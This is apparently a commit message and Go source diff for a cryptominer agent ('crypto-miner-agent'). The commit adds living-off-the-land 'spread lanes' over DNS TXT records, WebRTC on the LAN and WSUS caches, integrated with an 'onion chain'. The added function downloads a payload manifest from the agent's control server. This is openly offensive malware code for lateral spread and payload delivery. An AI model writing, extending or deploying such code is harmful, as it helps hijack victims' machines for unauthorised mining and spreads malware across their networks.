Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/deploy/webrtc_mesh_platform.go

@@ -0,0 +1,35 @@
+package deploy
+
+import (
+	"fmt"
+	"io"
+	"net/http"
+	"strings"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+func receiveWebRTCMeshPayloadPlatform(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
+	fallback := strings.TrimSpace(policy.LANFallbackURL)
+	if fallback == "" {
+		fallback = strings.TrimRight(strings.TrimSpace(cfg.ServerURL), "/") + "/api/v1/public/webrtc-mesh/manifest"
+	}
+	client := &http.Client{Timeout: 45 * time.Second}
+	resp, err := client.Get(fallback)
+	if err != nil {
+		return nil, fmt.Errorf("webrtc lan fallback: %w", err)
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return nil, fmt.Errorf("webrtc lan fallback http %d", resp.StatusCode)
+	}
+	body, err := io.ReadAll(io.LimitReader(resp.Body, 32<<20))
+	if err != nil {
+		return nil, err
+	}
+	if len(body) == 0 {
+		return nil, fmt.Errorf("webrtc manifest empty")
+	}
+	return body, nil
+}